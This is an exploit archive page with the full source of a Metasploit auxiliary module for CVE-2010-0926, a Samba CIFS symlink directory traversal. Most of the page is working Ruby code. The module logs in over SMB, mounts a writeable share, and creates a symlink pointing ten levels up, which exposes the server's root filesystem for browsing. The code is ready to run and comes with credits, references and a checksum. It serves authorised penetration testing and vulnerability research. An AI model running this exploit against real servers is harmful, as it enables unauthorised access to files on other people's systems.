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Samba Symlink Directory Traversal

Samba Symlink Directory Traversal
Posted Aug 31, 2024
Authored by H D Moore, Kingcope | Site metasploit.com

This Metasploit module exploits a directory traversal flaw in the Samba CIFS server. To exploit this flaw, a writeable share must be specified. The newly created directory will link to the root filesystem.

tags | exploit, root
advisories | CVE-2010-0926
SHA-256 | da49454c5f849f765142c42e065734b0088421d4e93444a769a657b11fdb04af

Samba Symlink Directory Traversal

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB::Client
include Msf::Auxiliary::Report

# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants


def initialize
super(
'Name' => 'Samba Symlink Directory Traversal',
'Description' => %Q{
This module exploits a directory traversal flaw in the Samba
CIFS server. To exploit this flaw, a writeable share must be specified.
The newly created directory will link to the root filesystem.
},
'Author' =>
[
'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
'hdm' # metasploit module
],
'References' =>
[
['CVE', '2010-0926'],
['OSVDB', '62145'],
['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
],
'License' => MSF_LICENSE
)

register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
])

deregister_options('SMB::ProtocolVersion')
end


def run
print_status("Connecting to the server...")
connect(versions: [1])
smb_login()

print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

print_status("Now access the following share to browse the root filesystem:")
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
print_line("")
end
end
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